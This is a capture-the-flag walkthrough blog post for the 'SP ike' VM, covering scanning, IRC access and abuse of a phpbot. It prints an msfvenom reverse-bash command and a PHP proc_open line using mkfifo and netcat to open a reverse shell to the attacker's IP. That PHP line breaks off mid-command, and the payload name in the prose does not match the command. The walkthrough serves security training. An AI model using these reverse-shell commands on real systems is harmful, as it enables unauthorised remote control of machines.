Hello friends! Today we are going
to take another CTF challenge known as “SP ike”. The credit for making this VM
machine goes to “Daniel Solstad”.
Our goal is to get flags to complete the challenge.
Security
Level: Intermediate
Penetrating
Methodology:
- Discovering Targets
IP
- Network scanning
(Nmap)
- Surfing HTTP service
port
- Configuring HEXCHAT IRC Client
- Connecting to IRC
Server
- Creating PHP
Malicious Script using MSFvenom
- Using Netcat Listener
- Spawning TTY Shell
- Getting Root Access
- Reading Final Flag
Let’s start off with scanning the network to find our target.
netdiscover
We found our target –> 192.168.1.21
Time to scan the Target’s IP with nmap. Nmap scan result shows FOUR open ports, 80(http), 139(netbios-ssn), 445(netbios-ssn), 6667(irc).
nmap -sV -T4 192.168.1.21
Since port 80 is running HTTP, so we thought of browsing the Target’s IP in our browser. But it is not much of a great help. Moving on.
Even directory scanning using dirb tool was not very useful. At last we are left with IRC chat server on port(6667). So, we used an IRC client Hexchat to connect to the port(6667). First we need to configure Hexchat by Adding a New Profile and Editing Connection Details.
Now Edit the Network ike which we have added and Give the Target’s IP as you can see in the image.
We have successfully connected to IRC Server. And we found something interesting that the server has a channel #php which has a phpbot, I guess it wouldn’t be problem for the phpbot to execute a php script.
We created a msfvenom
script to exploit the target machine. We used the reverse_netcat payload to
create this script.
msfvenom
-p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
After making a few tries, we finally able to
execute our PHP script successfully. To get reverse shell execute the script
given below.
!php
$s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234
0
Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing his 2 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here
0 comments:
Post a Comment